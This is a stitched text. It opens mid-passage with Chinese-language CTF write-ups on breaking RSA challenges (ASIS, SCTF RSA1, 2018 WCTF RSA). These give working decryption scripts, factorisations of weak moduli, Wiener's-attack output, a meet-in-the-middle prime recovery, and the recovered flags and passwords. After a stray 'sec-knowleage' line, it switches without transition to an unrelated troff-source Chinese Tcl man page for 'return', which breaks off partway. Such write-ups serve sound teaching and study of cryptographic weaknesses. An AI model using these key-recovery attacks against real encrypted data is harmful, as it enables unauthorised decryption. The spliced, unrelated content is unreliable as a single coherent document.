(p - 1)*(q - 1) d = gmpy.invert(e, phi) pubkey = RSA.construct((long(n), long(e))) key = PKCS1_v1_5.new(pubkey) enc = key.encrypt(msg).encode('base64') return enc except: p = gmpy.next_prime(p**2 + q**2) q = gmpy.next_prime(2*p*q) e = gmpy.next_prime(e**2) p = getPrime(128) q = getPrime(128) n = p*q e = getPrime(64) pubkey = RSA.construct((long(n), long(e))) f = open('pubkey.pem', 'w') f.write(pubkey.exportKey()) g = open('flag.enc', 'w') g.write(ext_rsa_encrypt(p, q, e, flag)) ``` 逻辑很简单,读取 flag,重复 30 遍为密文。随机取 $p$ 和 $q$,生成一个公钥,写入 `pubkey.pem`,再用脚本中的 `ext_rsa_encrypt` 函数进行加密,最后将密文写入 `flag.enc`。 尝试一下解密,提示密文过长,再看加密函数,原来当加密失败时,函数会跳到异常处理,以一定算法重新取更大的 $p$ 和 $q$,直到加密成功。 那么我们只要也写一个相应的解密函数即可。 ```python #!/usr/bin/python import gmpy from Crypto.Util.number import * from Crypto.PublicKey import RSA from Crypto.Cipher import PKCS1_v1_5 def ext_rsa_decrypt(p, q, e, msg): m = bytes_to_long(msg) while True: n = p * q try: phi = (p - 1)*(q - 1) d = gmpy.invert(e, phi) privatekey = RSA.construct((long(n), long(e), long(d), long(p), long(q))) key = PKCS1_v1_5.new(privatekey) de_error = '' enc = key.decrypt(msg.decode('base64'), de_error) return enc except Exception as error: print error p = gmpy.next_prime(p**2 + q**2) q = gmpy.next_prime(2*p*q) e = gmpy.next_prime(e**2) p = 311155972145869391293781528370734636009 q = 315274063651866931016337573625089033553 n = p*q e = 12405943493775545863 # pubkey = RSA.construct((long(n), long(e))) # f = open('pubkey.pem', 'w') # f.write(pubkey.exportKey()) g = open('flag.enc', 'r') msg = g.read() flag = ext_rsa_decrypt(p, q, e, msg) print flag ``` 拿到 flag ``` ASIS{F4ct0R__N_by_it3rat!ng!} ``` ## SCTF RSA1 这里我们以 SCTF RSA1 为例进行介绍,首先解压压缩包后,得到如下文件 ```shell ➜ level0 git:(master) ✗ ls -al 总用量 4 drwxrwxrwx 1 root root 0 7月 30 16:36 . drwxrwxrwx 1 root root 0 7月 30 16:34 .. -rwxrwxrwx 1 root root 349 5月 2 2016 level1.passwd.enc -rwxrwxrwx 1 root root 2337 5月 6 2016 level1.zip -rwxrwxrwx 1 root root 451 5月 2 2016 public.key ``` 尝试解压缩了一下 level1.zip 现需要密码。然后根据 level1.passwd.enc 可知,应该是我们需要解密这个文件才能得到对应的密码。查看公钥 ```shell ➜ level0 git:(master) ✗ openssl rsa -pubin -in public.key -text -modulus Public-Key: (2048 bit) Modulus: 00:94:a0:3e:6e:0e:dc:f2:74:10:52:ef:1e:ea:a8: 89:d6:f9:8d:01:11:51:db:5e:90:92:48:fd:39:0c: 70:87:24:d8:98:3c:f3:33:1c:ba:c5:61:c2:ce:2c: 5a:f1:5e:65:b2:b2:46:91:56:b6:19:d5:d3:b2:a6: bb:a3:7d:56:93:99:4d:7e:4c:2f:aa:60:7b:3e:c8: fc:90:b2:00:62:4b:53:18:5b:a2:30:10:60:a8:21: ab:61:57:d7:e7:cc:67:1b:4d:cd:66:4c:7d:f1:1a: 2a:1d:5e:50:80:c1:5e:45:12:3a:ba:4a:53:64:d8: 72:1f:84:4a:ae:5c:55:02:e8:8e:56:4d:38:70:a5: 16:36:d3:bc:14:3e:2f:ae:2f:31:58:ba:00:ab:ac: c0:c5:ba:44:3c:29:70:56:01:6b:57:f5:d7:52:d7: 31:56:0b:ab:0a:e6:8d:ad:08:22:a9:1f:cb:6e:49: cc:01:4c:12:d2:ab:a3:a5:97:e5:10:49:19:7f:69: d9:3b:c5:53:53:71:00:18:60:cc:69:1a:06:64:3b: 86:94:70:a9:da:82:fc:54:6b:06:23:43:2d:b0:20: eb:b6:1b:91:35:5e:53:a6:e5:d8:9a:84:bb:30:46: b8:9f:63:bc:70:06:2d:59:d8:62:a5:fd:5c:ab:06: 68:81 Exponent: 65537 (0x10001) Modulus=94A03E6E0EDCF2741052EF1EEAA889D6F98D011151DB5E909248FD390C708724D8983CF3331CBAC561C2CE2C5AF15E65B2B2469156B619D5D3B2A6BBA37D5693994D7E4C2FAA607B3EC8FC90B200624B53185BA2301060A821AB6157D7E7CC671B4DCD664C7DF11A2A1D5E5080C15E45123ABA4A5364D8721F844AAE5C5502E88E564D3870A51636D3BC143E2FAE2F3158BA00ABACC0C5BA443C297056016B57F5D752D731560BAB0AE68DAD0822A91FCB6E49CC014C12D2ABA3A597E51049197F69D93BC5535371001860CC691A06643B869470A9DA82FC546B0623432DB020EBB61B91355E53A6E5D89A84BB3046B89F63BC70062D59D862A5FD5CAB066881 writing RSA key -----BEGIN PUBLIC KEY----- MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAlKA+bg7c8nQQUu8e6qiJ 1vmNARFR216Qkkj9OQxwhyTYmDzzMxy6xWHCzixa8V5lsrJGkVa2GdXTsqa7o31W k5lNfkwvqmB7Psj8kLIAYktTGFuiMBBgqCGrYVfX58xnG03NZkx98RoqHV5QgMFe RRI6ukpTZNhyH4RKrlxVAuiOVk04cKUWNtO8FD4vri8xWLoAq6zAxbpEPClwVgFr V/XXUtcxVgurCuaNrQgiqR/LbknMAUwS0qujpZflEEkZf2nZO8VTU3EAGGDMaRoG ZDuGlHCp2oL8VGsGI0MtsCDrthuRNV5TpuXYmoS7MEa4n2O8cAYtWdhipf1cqwZo gQIDAQAB -----END PUBLIC KEY----- ``` 发现虽然说是 2048 位,但是显然模数没有那么长,尝试分解下,得到 ``` p=250527704258269 q=74891071972884336452892671945839935839027130680745292701175368094445819328761543101567760612778187287503041052186054409602799660254304070752542327616415127619185118484301676127655806327719998855075907042722072624352495417865982621374198943186383488123852345021090112675763096388320624127451586578874243946255833495297552979177208715296225146999614483257176865867572412311362252398105201644557511678179053171328641678681062496129308882700731534684329411768904920421185529144505494827908706070460177001921614692189821267467546120600239688527687872217881231173729468019623441005792563703237475678063375349 ``` 然后就可以构造,并且解密,代码如下 ```python from Crypto.PublicKey import RSA import gmpy2 from base64 import b64decode p = 250527704258269 q = 74891071972884336452892671945839935839027130680745292701175368094445819328761543101567760612778187287503041052186054409602799660254304070752542327616415127619185118484301676127655806327719998855075907042722072624352495417865982621374198943186383488123852345021090112675763096388320624127451586578874243946255833495297552979177208715296225146999614483257176865867572412311362252398105201644557511678179053171328641678681062496129308882700731534684329411768904920421185529144505494827908706070460177001921614692189821267467546120600239688527687872217881231173729468019623441005792563703237475678063375349 e = 65537 n = p * q def getprivatekey(n, e, p, q): phin = (p - 1) * (q - 1) d = gmpy2.invert(e, phin) priviatekey = RSA.construct((long(n), long(e), long(d))) with open('private.pem', 'w') as f: f.write(priviatekey.exportKey()) def decrypt(): with open('./level1.passwd.enc') as f: cipher = f.read() cipher = b64decode(cipher) with open('./private.pem') as f: key = RSA.importKey(f) print key.decrypt(cipher) #getprivatekey(n, e, p, q) decrypt() ``` 发现不对 ```shell ➜ level0 git:(master) ✗ python exp.py 一堆乱码。。 ``` 这时候就要考虑其他情况了,一般来说现实中实现的 RSA 都不会直接用原生的 RSA,都会加一些填充比如 OAEP,我们这里试试,修改代码 ```shell def decrypt1(): with open('./level1.passwd.enc') as f: cipher = f.read() cipher = b64decode(cipher) with open('./private.pem') as f: key = RSA.importKey(f) key = PKCS1_OAEP.new(key) print key.decrypt(cipher) ``` 果然如此,得到 ```shell ➜ level0 git:(master) ✗ python exp.py FaC5ori1ati0n_aTTA3k_p_tOO_sma11 ``` 得到解压密码。继续,查看 level1 中的公钥 ```shell ➜ level1 git:(master) ✗ openssl rsa -pubin -in public.key -text -modulus Public-Key: (2048 bit) Modulus: 00:c3:26:59:69:e1:ed:74:d2:e0:b4:9a:d5:6a:7c: 2f:2a:9e:c3:71:ff:13:4b:10:37:c0:6f:56:19:34: c5:cb:1f:6d:c0:e3:57:3b:47:c4:76:3e:21:a3:b0: 11:11:78:d4:ee:4f:e8:99:2b:15:cb:cb:d7:73:e4: f9:a6:28:20:fd:db:8c:ea:16:ed:67:c2:48:12:6e: 4b:01:53:4a:67:cb:22:23:3b:34:2e:af:13:ef:93: 45:16:2b:00:9f:e0:4b:d1:90:c9:2c:27:9a:34:c3: 3f:d7:ee:40:f5:82:50:39:aa:8c:e9:c2:7b:f4:36: e3:38:9d:04:50:db:a9:b7:3f:4b:2a:d6:8a:2a:5c: 87:2a:eb:74:35:98:6a:9c:e4:52:cb:93:78:d2:da: 39:83:f3:0c:d1:65:1e:66:9c:40:56:06:0d:58:fc: 41:64:5e:06:da:83:d0:3b:06:42:70:da:38:53:e0: 54:35:53:ce:de:79:4a:bf:f5:3b:e5:53:7f:6c:18: 12:67:a9:de:37:7d:44:65:5e:68:0a:78:39:3d:bb: 00:22:35:0e:a3:94:e6:94:15:1a:3d:39:c7:50:0e: b1:64:a5:29:a3:69:41:40:69:94:b0:0d:1a:ea:9a: 12:27:50:ee:1e:3a:19:b7:29:70:b4:6d:1e:9d:61: 3e:7d Exponent: 65537 (0x10001) Modulus=C3265969E1ED74D2E0B49AD56A7C2F2A9EC371FF134B1037C06F561934C5CB1F6DC0E3573B47C4763E21A3B0111178D4EE4FE8992B15CBCBD773E4F9A62820FDDB8CEA16ED67C248126E4B01534A67CB22233B342EAF13EF9345162B009FE04BD190C92C279A34C33FD7EE40F5825039AA8CE9C27BF436E3389D0450DBA9B73F4B2AD68A2A5C872AEB7435986A9CE452CB9378D2DA3983F30CD1651E669C4056060D58FC41645E06DA83D03B064270DA3853E0543553CEDE794ABFF53BE5537F6C181267A9DE377D44655E680A78393DBB0022350EA394E694151A3D39C7500EB164A529A36941406994B00D1AEA9A122750EE1E3A19B72970B46D1E9D613E7D writing RSA key -----BEGIN PUBLIC KEY----- MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAwyZZaeHtdNLgtJrVanwv Kp7Dcf8TSxA3wG9WGTTFyx9twONXO0fEdj4ho7AREXjU7k/omSsVy8vXc+T5pigg /duM6hbtZ8JIEm5LAVNKZ8siIzs0Lq8T75NFFisAn+BL0ZDJLCeaNMM/1+5A9YJQ OaqM6cJ79DbjOJ0EUNuptz9LKtaKKlyHKut0NZhqnORSy5N40to5g/MM0WUeZpxA VgYNWPxBZF4G2oPQOwZCcNo4U+BUNVPO3nlKv/U75VN/bBgSZ6neN31EZV5oCng5 PbsAIjUOo5TmlBUaPTnHUA6xZKUpo2lBQGmUsA0a6poSJ1DuHjoZtylwtG0enWE+ fQIDAQAB -----END PUBLIC KEY----- ``` 似乎还是不是很大,再次分解,然后试了 factordb 不行,试试 yafu。结果分解出来了。 ```shell P309 = 156956618844706820397012891168512561016172926274406409351605204875848894134762425857160007206769208250966468865321072899370821460169563046304363342283383730448855887559714662438206600780443071125634394511976108979417302078289773847706397371335621757603520669919857006339473738564640521800108990424511408496383 P309 = 156956618844706820397012891168512561016172926274406409351605204875848894134762425857160007206769208250966468865321072899370821460169563046304363342283383730448855887559714662438206600780443071125634394511976108979417302078289773847706397371335621757603520669919857006339473738564640521800108990424511408496259 ``` 可以发现这两个数非常相近,可能是 factordb 没有实现这类分解。 继而下面的操作类似于 level0。只是这次是直接解密就好,没啥填充,试了填充反而错 得到密码 `fA35ORI11TLoN_Att1Ck_cL0sE_PrI8e_4acTorS`。继续下一步,查看公钥 ```shell ➜ level2 git:(master) ✗ openssl rsa -pubin -in public.key -text -modulus Public-Key: (1025 bit) Modulus: 01:ba:0c:c2:45:b4:5c:e5:b5:f5:6c:d5:ca:a5:90: c2:8d:12:3d:8a:6d:7f:b6:47:37:fb:7c:1f:5a:85: 8c:1e:35:13:8b:57:b2:21:4f:f4:b2:42:24:5f:33: f7:2c:2c:0d:21:c2:4a:d4:c5:f5:09:94:c2:39:9d: 73:e5:04:a2:66:1d:9c:4b:99:d5:38:44:ab:13:d9: cd:12:a4:d0:16:79:f0:ac:75:f9:a4:ea:a8:7c:32: 16:9a:17:d7:7d:80:fd:60:29:64:c7:ea:50:30:63: 76:59:c7:36:5e:98:d2:ea:5b:b3:3a:47:17:08:2d: d5:24:7d:4f:a7:a1:f0:d5:73 Exponent: 01:00:8e:81:dd:a0:e3:19:28:e8:ee:51:11:08:c7: 50:5f:61:31:05:d2:e2:ff:9b:83:71:e4:29:c2:dd: 92:70:65:d4:09:6d:58:c3:76:31:07:f1:d4:fc:cf: 2d:b3:0a:6d:02:7c:56:61:7c:be:7e:0b:7e:d9:22: 28:66:9e:fb:3d:2f:2c:20:59:3c:21:ef:ff:31:00: 6a:fb:a7:68:de:4a:0a:4c:1a:a7:09:d5:48:98:c8: 1f:cf:fb:dd:f7:9c:ae:ae:0b:15:f4:b2:c7:e0:bc: ba:31:4f:5e:07:83:ad:0e:7f:b9:82:a4:d2:01:fa: 68:29:6d:66:7c:cf:57:b9:4b Modulus=1BA0CC245B45CE5B5F56CD5CAA590C28D123D8A6D7FB64737FB7C1F5A858C1E35138B57B2214FF4B242245F33F72C2C0D21C24AD4C5F50994C2399D73E504A2661D9C4B99D53844AB13D9CD12A4D01679F0AC75F9A4EAA87C32169A17D77D80FD602964C7EA5030637659C7365E98D2EA5BB33A4717082DD5247D4FA7A1F0D573 writing RSA key -----BEGIN PUBLIC KEY----- MIIBIDANBgkqhkiG9w0BAQEFAAOCAQ0AMIIBCAKBgQG6DMJFtFzltfVs1cqlkMKN Ej2KbX+2Rzf7fB9ahYweNROLV7IhT/SyQiRfM/csLA0hwkrUxfUJlMI5nXPlBKJm HZxLmdU4RKsT2c0SpNAWefCsdfmk6qh8MhaaF9d9gP1gKWTH6lAwY3ZZxzZemNLq W7M6RxcILdUkfU+nofDVcwKBgQEAjoHdoOMZKOjuUREIx1BfYTEF0uL/m4Nx5CnC 3ZJwZdQJbVjDdjEH8dT8zy2zCm0CfFZhfL5+C37ZIihmnvs9LywgWTwh7/8xAGr7 p2jeSgpMGqcJ1UiYyB/P+933nK6uCxX0ssfgvLoxT14Hg60Of7mCpNIB+mgpbWZ8 z1e5Sw== -----END PUBLIC KEY----- ``` 发现私钥 e 和 n 几乎一样大,考虑 d 比较小,使用 Wiener's Attack。得到 d,当然也可以再次验证一遍。 ```shell ➜ level2 git:(master) ✗ python RSAwienerHacker.py Testing Wiener Attack Hacked! ('hacked_d = ', 29897859398360008828023114464512538800655735360280670512160838259524245332403L) ------------------------- Hacked! ('hacked_d = ', 29897859398360008828023114464512538800655735360280670512160838259524245332403L) ------------------------- Hacked! ('hacked_d = ', 29897859398360008828023114464512538800655735360280670512160838259524245332403L) ------------------------- Hacked! ('hacked_d = ', 29897859398360008828023114464512538800655735360280670512160838259524245332403L) ------------------------- Hacked! ('hacked_d = ', 29897859398360008828023114464512538800655735360280670512160838259524245332403L) ------------------------- ``` 这时我们解密密文,解密代码如下 ```python from Crypto.PublicKey import RSA from Crypto.Cipher import PKCS1_v1_5, PKCS1_OAEP import gmpy2 from base64 import b64decode d = 29897859398360008828023114464512538800655735360280670512160838259524245332403L with open('./public.key') as f: key = RSA.importKey(f) n = key.n e = key.e def getprivatekey(n, e, d): priviatekey = RSA.construct((long(n), long(e), long(d))) with open('private.pem', 'w') as f: f.write(priviatekey.exportKey()) def decrypt(): with open('./level3.passwd.enc') as f: cipher = f.read() with open('./private.pem') as f: key = RSA.importKey(f) print key.decrypt(cipher) getprivatekey(n, e, d) decrypt() ``` 利用末尾的字符串 `wIe6ER1s_1TtA3k_e_t00_larg3` 解密压缩包,注意去掉 B。至此全部解密结束,得到 flag。 ## 2018 WCTF RSA 题目基本描述为 ``` Description: Encrypted message for user "admin": <<<320881698662242726122152659576060496538921409976895582875089953705144841691963343665651276480485795667557825130432466455684921314043200553005547236066163215094843668681362420498455007509549517213285453773102481574390864574950259479765662844102553652977000035769295606566722752949297781646289262341623549414376262470908749643200171565760656987980763971637167709961003784180963669498213369651680678149962512216448400681654410536708661206594836597126012192813519797526082082969616915806299114666037943718435644796668877715954887614703727461595073689441920573791980162741306838415524808171520369350830683150672985523901>>> admin public key: n = 483901264006946269405283937218262944021205510033824140430120406965422208942781742610300462772237450489835092525764447026827915305166372385721345243437217652055280011968958645513779764522873874876168998429546523181404652757474147967518856439439314619402447703345139460317764743055227009595477949315591334102623664616616842043021518775210997349987012692811620258928276654394316710846752732008480088149395145019159397592415637014390713798032125010969597335893399022114906679996982147566245244212524824346645297637425927685406944205604775116409108280942928854694743108774892001745535921521172975113294131711065606768927 e = 65537 Service: http://36.110.234.253 ``` 这个题目现在已经没有办法在线获取 binary 了,现在得到的 binary 是之前已经下载好的,我们当时需要登录用户的 admin 来下载对应的 generator。 通过简单逆向这个 generator,我们可以发现这个程序是这么工作的 - 利用用户给定的 license(32 个字节),迭代解密某个**固定位置**之后的数据,每 32 个字节一组,与密钥相异或得到结果。 - 密钥的生成方法为 - $k_1=key$ - $k_2 =sha256(k_1)$ - ... - $k_n=sha256(k_{n-1})$ 其中,固定位置就是在找源文件 `generator` 中第二次出现 `ENCRYPTED` 的位置,然后再次偏移 32 个字节。 ```python _ENCRYPT_STR = ENCRYPTED_STR; v10 = 0; ENCRYPTED_LEN = strlen(ENCRYPTED_STR); do { do ++v9; while ( strncmp(&file_contents[v9], _ENCRYPT_STR, ENCRYPTED_LEN) ); ++v10; } while ( v10 <= 1 ); v11 = &file_start_off_32[loc2 + ENCRYPTED_LEN]; v12 = loc2 + ENCRYPTED_LEN; len = file_size - (loc2 + ENCRYPTED_LEN) - 32; decrypt(&file_start_off_32[v12], &license, len); sha256_file_start(v11, len, &output); if ( !memcmp(&output, &file_contents[v12], 0x20u) ) { v14 = fopen("out.exe", "wb"); fwrite(v11, 1u, len, v14); fclose(v14); sprintf(byte_406020, "out.exe %s", argv[1]); system(byte_406020); } ``` 同时,我们需要确保生成的文件的校验对应的哈希值恰好为指定的值,由于文件最后是一个 exe 文件,所以我们可以认为最后的文件头就是标准的 exe 文件,因此就不需要知道原始的 license 文件,进而我们可以编写 python 脚本生成 exe。 在生成的 exe 中,我们分析出程序的基本流程为 1. 读取 license 2. 使用 license 作为 seed 分别生成 pq 3. 利用 p,q 生成 n,e,d。 其漏洞出现在生成 p,q 的方法上,而且生成 p 和 q 的方法类似。 我们如果仔细分析下生成素数的函数的话,可以看到每个素数都是分为两部分生成的 1. 生成左半部分 512 位。 2. 生成右半部分 512 位。 3. 左右构成 1024 比特位,判断是不是素数,是素数就成功,不是素数,继续生成。 其中生成每部分的方式相同,方式为 ```python sha512(const1|const2|const3|const4|const5|const6|const7|const8|v9) v9=r%1000000007 ``` 只有 v9 会有所变化,但是它的范围却是固定的。 那么,如果我们表示 p,q 为 $p=a*2^{512}+b$ $q=c*2^{512}+d$ 那么 $n=pq=ac*2^{1024}+(ad+bc)*2^{512}+bd$ 那么 $n \equiv bd \bmod 2^{512}$ 而且由于 p 和 q 在生成时,a,b,c,d 均只有 1000000007 种可能性。 进而,我们可以枚举所有的可能性,首先计算出 b 可能的集合为 S,同时我们使用中间相遇攻击,计算 $n/d \equiv b \bmod 2^{512}$ 这里由于 b 和 d 都是 p 的尾数,所以一定不会是 2 的倍数,进而必然存在逆元。 这样做虽然可以,然而,我们可以简单算一下存储空间 $64*1000000007 / 1024 / 1024 / 1024=59$ 也就是说需要 59 G,太大了,,所以我们仍然需要进一步考虑 $n \equiv bd \bmod 2^{64}$ 这样,我们的内存需求瞬间就降到了 8 G左右。我们仍然使用枚举的方法进行运算。 其次,我们不能使用 python,,python 占据空间太大,因此需要使用 c/c++ 编写。 枚举所有可能的 d 计算对应的值 $n/d$ 如果对应的值在集合 S 中,那么我们就可以认为找到了一对合法的 b 和 d,因此我们就可以恢复 p 和 q 的一半。 之后,我们根据 $n-bd=ac*2^{1024}+(ad+bc)*2^{512}$ 可以得到 $\frac{n-bd}{2^{512}} = ac*2^{512}+ad+bc$ $\frac{n-bd}{2^{512}} \equiv ad+bc \bmod 2^{512}$ 类似地,我们可以计算出 a 和 c,从而我们就可以完全恢复出 p 和 q。 在具体求解的过程中,在求 p 和 q 的一部分时,可以发现因为是模 $2^{64}$,所以可能存在碰撞(但其实就是一个是 p,另外一个是q,恰好对称。)。下面我们就求得了 b 对应的 v9。 **注意:这里枚举出来的空间大约占用 11 个 G(包括索引),所以请选择合适的位置。** ``` b64: 9646799660ae61bd idx_b: 683101175 idx_d: 380087137 search 23000000 search 32000000 search 2b000000 search d000000 search 3a000000 search 1c000000 search 6000000 search 24000000 search 15000000 search 33000000 search 2c000000 search e000000 b64: 9c63259ccab14e0b idx_b: 380087137 idx_d: 683101175 search 1d000000 search 3b000000 search 7000000 search 16000000 search 25000000 search 34000000 ``` 其实,我们在真正得到 p 或者 q 的一部分后,另外一部分完全可以使用暴力枚举的方式获取,因为计算量几乎都是一样的,最后结果为 ```python ... hash 7000000 hash 30000000 p = 13941980378318401138358022650359689981503197475898780162570451627011086685747898792021456273309867273596062609692135266568225130792940286468658349600244497842007796641075219414527752166184775338649475717002974228067471300475039847366710107240340943353277059789603253261584927112814333110145596444757506023869 q = 34708215825599344705664824520726905882404144201254119866196373178307364907059866991771344831208091628520160602680905288551154065449544826571548266737597974653701384486239432802606526550681745553825993460110874794829496264513592474794632852329487009767217491691507153684439085094523697171206345793871065206283 plain text 13040004482825754828623640066604760502140535607603761856185408344834209443955563791062741885 hash 16000000 hash 25000000 hash b000000 hash 34000000 hash 1a000000 ... ➜ 2018-WCTF-rsa git:(master) ✗ python Python 2.7.14 (default, Mar 22 2018, 14:43:05) [GCC 4.2.1 Compatible Apple LLVM 9.0.0 (clang-900.0.39.2)] on darwin Type "help", "copyright", "credits" or "license" for more information. >>> p=13040004482825754828623640066604760502140535607603761856185408344834209443955563791062741885 >>> hex(p)[2:].decode('hex') Traceback (most recent call last): File "<stdin>", line 1, in <module> File "/usr/local/Cellar/python@2/2.7.14_3/Frameworks/Python.framework/Versions/2.7/lib/python2.7/encodings/hex_codec.py", line 42, in hex_decode output = binascii.a2b_hex(input) TypeError: Odd-length string >>> hex(p)[2:-1].decode('hex') 'flag{fa6778724ed740396fc001b198f30313}' ``` 最后我们便拿到 flag 了。 **详细的利用代码请参见 ctf-challenge 仓库。** 相关编译指令,需要链接相关的库。 ```shell g++ exp2.cpp -std=c++11 -o main2 -lgmp -lcrypto -pthread ``` ## 参考 - https://upbhack.de/posts/wctf-2018-writeup-rsa/
sec-knowleage
'\" '\" Copyright (c) 1993 The Regents of the University of California. '\" Copyright (c) 1994-1996 Sun Microsystems, Inc. '\" '\" See the file "license.terms" for information on usage and redistribution '\" of this file, and for a DISCLAIMER OF ALL WARRANTIES. '\" '\" RCS: @(#) $Id: return.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $ '\" '\" The definitions below are for supplemental macros used in Tcl/Tk '\" manual entries. '\" '\" .AP type name in/out ?indent? '\" Start paragraph describing an argument to a library procedure. '\" type is type of argument (int, etc.), in/out is either "in", "out", '\" or "in/out" to describe whether procedure reads or modifies arg, '\" and indent is equivalent to second arg of .IP (shouldn't ever be '\" needed; use .AS below instead) '\" '\" .AS ?type? ?name? '\" Give maximum sizes of arguments for setting tab stops. Type and '\" name are examples of largest possible arguments that will be passed '\" to .AP later. If args are omitted, default tab stops are used. '\" '\" .BS '\" Start box enclosure. From here until next .BE, everything will be '\" enclosed in one large box. '\" '\" .BE '\" End of box enclosure. '\" '\" .CS '\" Begin code excerpt. '\" '\" .CE '\" End code excerpt. '\" '\" .VS ?version? ?br? '\" Begin vertical sidebar, for use in marking newly-changed parts '\" of man pages. The first argument is ignored and used for recording '\" the version when the .VS was added, so that the sidebars can be '\" found and removed when they reach a certain age. If another argument '\" is present, then a line break is forced before starting the sidebar. '\" '\" .VE '\" End of vertical sidebar. '\" '\" .DS '\" Begin an indented unfilled display. '\" '\" .DE '\" End of indented unfilled display. '\" '\" .SO '\" Start of list of standard options for a Tk widget. The '\" options follow on successive lines, in four columns separated '\" by tabs. '\" '\" .SE '\" End of list of standard options for a Tk widget. '\" '\" .OP cmdName dbName dbClass '\" Start of description of a specific option. cmdName gives the '\" option's name as specified in the class command, dbName gives '\" the option's name in the option database, and dbClass gives '\" the option's class in the option database. '\" '\" .UL arg1 arg2 '\" Print arg1 underlined, then print arg2 normally. '\" '\" RCS: @(#) $Id: return.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $ '\" '\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages. .if t .wh -1.3i ^B .nr ^l \n(.l .ad b '\" # Start an argument description .de AP .ie !"\\$4"" .TP \\$4 .el \{\ . ie !"\\$2"" .TP \\n()Cu . el .TP 15 .\} .ta \\n()Au \\n()Bu .ie !"\\$3"" \{\ \&\\$1 \\fI\\$2\\fP (\\$3) .\".b .\} .el \{\ .br .ie !"\\$2"" \{\ \&\\$1 \\fI\\$2\\fP .\} .el \{\ \&\\fI\\$1\\fP .\} .\} .. '\" # define tabbing values for .AP .de AS .nr )A 10n .if !"\\$1"" .nr )A \\w'\\$1'u+3n .nr )B \\n()Au+15n .\" .if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n .nr )C \\n()Bu+\\w'(in/out)'u+2n .. .AS Tcl_Interp Tcl_CreateInterp in/out '\" # BS - start boxed text '\" # ^y = starting y location '\" # ^b = 1 .de BS .br .mk ^y .nr ^b 1u .if n .nf .if n .ti 0 .if n \l'\\n(.lu\(ul' .if n .fi .. '\" # BE - end boxed text (draw box now) .de BE .nf .ti 0 .mk ^t .ie n \l'\\n(^lu\(ul' .el \{\ .\" Draw four-sided box normally, but don't draw top of .\" box if the box started on an earlier page. .ie !\\n(^b-1 \{\ \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .el \}\ \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .\} .fi .br .nr ^b 0 .. '\" # VS - start vertical sidebar '\" # ^Y = starting y location '\" # ^v = 1 (for troff; for nroff this doesn't matter) .de VS .if !"\\$2"" .br .mk ^Y .ie n 'mc \s12\(br\s0 .el .nr ^v 1u .. '\" # VE - end of vertical sidebar .de VE .ie n 'mc .el \{\ .ev 2 .nf .ti 0 .mk ^t \h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n' .sp -1 .fi .ev .\} .nr ^v 0 .. '\" # Special macro to handle page bottom: finish off current '\" # box/sidebar if in box/sidebar mode, then invoked standard '\" # page bottom macro. .de ^B .ev 2 'ti 0 'nf .mk ^t .if \\n(^b \{\ .\" Draw three-sided box if this is the box's first page, .\" draw two sides but no top otherwise. .ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .\} .if \\n(^v \{\ .nr ^x \\n(^tu+1v-\\n(^Yu \kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c .\} .bp 'fi .ev .if \\n(^b \{\ .mk ^y .nr ^b 2 .\} .if \\n(^v \{\ .mk ^Y .\} .. '\" # DS - begin display .de DS .RS .nf .sp .. '\" # DE - end display .de DE .fi .RE .sp .. '\" # SO - start of list of standard options .de SO .SH "STANDARD OPTIONS" .LP .nf .ta 5.5c 11c .ft B .. '\" # SE - end of list of standard options .de SE .fi .ft R .LP See the \\fBoptions\\fR manual entry for details on the standard options. .. '\" # OP - start of full description for a single option .de OP .LP .nf .ta 4c Command-Line Name: \\fB\\$1\\fR Database Name: \\fB\\$2\\fR Database Class: \\fB\\$3\\fR .fi .IP .. '\" # CS - begin code excerpt .de CS .RS .nf .ta .25i .5i .75i 1i .. '\" # CE - end code excerpt .de CE .fi .RE .. .de UL \\$1\l'|0\(ul'\\$2 .. .TH return 3tcl 7.0 Tcl "Tcl Built-In Commands" .BS '\" Note: do not modify the .SH NAME line immediately below! .SH NAME return \- 从一个过程中返回 .SH "总览 SYNOPSIS" \fBreturn \fR?\fB\-code \fIcode\fR? ?\fB\-errorinfo \fIinfo\fR? ?\fB\-errorcode\fI code\fR? ?\fIstring\fR? .BE .SH "描述 DESCRIPTION" .PP 从当前过程(或顶层命令或 \fBsource\fR 命令)中立即返回,用 \fIstring\fR 作为返回值。如果未指定 \fIstring\fR,则返回一个空串作为结果。 .SH "异常返回 EXCEPTIONAL RETURNS" .PP 通常在未指定 \fB\-code \fR选项的情况下,过程将正常返回(它的完成代码是 TCL_OK)。但是,可以使用 \fB-code\fR 选项来生成一个异常的过程返回。\fICode\fR 可以是某个下列值: .TP 10 \fBok\fR 正常返回: 如同这个选项被省略。 .TP 10 \fBerror\fR 错误返回: 除了 \fBerrorInfo\fR 和 \fBerrorCode\fR 变量的处理之外,同于使用 \fBerror\fR 命令终止过程(见后)。 .TP 10 \fBreturn\fR 返回当前过程并加上一个 TCL_RETURN 完成代码,这将导致调用它的那个过程也返回。 .TP 10 \fBbreak\fR 返回当前过程并加上一个 TCL_BREAK 完成代码,它将终止调用当前过程的代码中的最内层嵌套循环。 .TP 10 \fBcontinue\fR 返回当前过程并加上一个 TCL_CONTINUE 完成代码,它终止调用当前过程的代码中的最内层嵌套循环的当前重复操作。 .TP 10 \fIvalue\fR \fIValue\fR 必须是一个整数;把它作为当前过程的完成代码返回。 .LP 很少使用 \fB-code\fR 选项。提供它目的让实现新控制结构的命令可以向它的调用者反映异常条件。 .PP 